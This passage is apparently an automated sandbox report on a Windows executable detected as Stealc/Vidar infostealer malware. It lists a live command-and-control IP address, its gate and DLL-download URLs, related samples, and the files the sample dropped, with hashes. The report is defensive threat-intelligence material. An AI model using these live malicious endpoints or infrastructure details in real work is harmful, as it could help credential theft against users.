http://185.215.113.100/0d60be0de163924d/msvcp140.dll2	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpH_	100%	Avira URL Cloud	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.100/0d60be0de163924d/vcruntime140.dll	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/mozglue.dll	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/softokn3.dll	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/sqlite3.dll	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/freebl3.dll	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/nss3.dll	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/msvcp140.dll	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1740076715.000000000138F000.00000004.00000020.00020000.00000000.sdmp, KJECFHCB.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	HCAEHJJKFCAAFHJKFBKKEBKECB.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1740076715.000000000138F000.00000004.00000020.00020000.00000000.sdmp, KJECFHCB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpion:	file.exe, 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.php2b	file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/mozglue.dlle	file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.1905935707.0000000029853000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp, FHIDBKFCAAEBFIDHDBAE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpd_	file.exe, 00000000.00000002.1884629428.0000000001304000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1740076715.000000000138F000.00000004.00000020.00020000.00000000.sdmp, KJECFHCB.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000003.1730183845.000000001D7AC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phprowser	file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpf	file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpe	file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/freebl3.dll?	file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100	file.exe, 00000000.00000002.1884629428.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmp	true	URL Reputation: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	FHIDBKFCAAEBFIDHDBAE.0.dr	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1740076715.000000000138F000.00000004.00000020.00020000.00000000.sdmp, KJECFHCB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpYb$X	file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/vcruntime140.dllep	file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.1905935707.0000000029853000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp, FHIDBKFCAAEBFIDHDBAE.0.dr	false	Avira URL Cloud: safe	unknown
http://185.215.113.100/0d60be0de163924d/softokn3.dllO	file.exe, 00000000.00000002.1884629428.0000000001318000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.1909179031.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1899633547.000000001D8A5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.php4_	file.exe, 00000000.00000002.1884629428.0000000001304000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.1905935707.0000000029853000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp, FHIDBKFCAAEBFIDHDBAE.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1740076715.000000000138F000.00000004.00000020.00020000.00000000.sdmp, KJECFHCB.0.dr	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1740076715.000000000138F000.00000004.00000020.00020000.00000000.sdmp, KJECFHCB.0.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.1905935707.0000000029853000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp, FHIDBKFCAAEBFIDHDBAE.0.dr	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000003.1730183845.000000001D7AC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpDBKFCAAEBFIDHDBAENy	file.exe, 00000000.00000002.1884629428.0000000001318000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1740076715.000000000138F000.00000004.00000020.00020000.00000000.sdmp, KJECFHCB.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	HCAEHJJKFCAAFHJKFBKKEBKECB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100e2b1563c6670f193.phpion:	file.exe, 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1740076715.000000000138F000.00000004.00000020.00020000.00000000.sdmp, KJECFHCB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/0d60be0de163924d/vcruntime140.dll5s	file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.1905935707.0000000029853000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp, FHIDBKFCAAEBFIDHDBAE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phptware	file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/sqlite3.dllw	file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/msvcp140.dll2	file.exe, 00000000.00000002.1884629428.0000000001318000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpH_	file.exe, 00000000.00000002.1884629428.0000000001304000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://support.mozilla.org	HCAEHJJKFCAAFHJKFBKKEBKECB.0.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1740076715.000000000138F000.00000004.00000020.00020000.00000000.sdmp, KJECFHCB.0.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.100	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1501907
Start date and time:	2024-08-30 18:17:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/22@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 78 Number of non-executed functions: 116
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.100	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100/
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	kqS23MOytx.exe	Get hash	malicious	Socks5Systemz, Stealc, Vidar, XWorm, Xmrig	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	kqS23MOytx.exe	Get hash	malicious	Socks5Systemz, Stealc, Vidar, XWorm, Xmrig	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	gHPYUEh253.exe	Get hash	malicious	Djvu, Neoreklami, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	kqS23MOytx.exe	Get hash	malicious	Socks5Systemz, Stealc, Vidar, XWorm, Xmrig	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	gHPYUEh253.exe	Get hash	malicious	Djvu, Neoreklami, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	kqS23MOytx.exe	Get hash	malicious	Socks5Systemz, Stealc, Vidar, XWorm, Xmrig	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse

Created / dropped Files

C:\ProgramData\BAKFBKEHDBGHJJKFIEGDBKKFID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBKKFBAEGDHJJJJKFBKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHIDBKFCAAEBFIDHDBAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GHJDGDBFCBKFHJKFHCBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCAEHJJKFCAAFHJKFBKKEBKECB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJJKEHCA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KECBKKEBKEBFCAAAEGDHDGIIJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJECFHCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: gHPYUEh253.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: kqS23MOytx.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: gHPYUEh253.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: kqS23MOytx.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
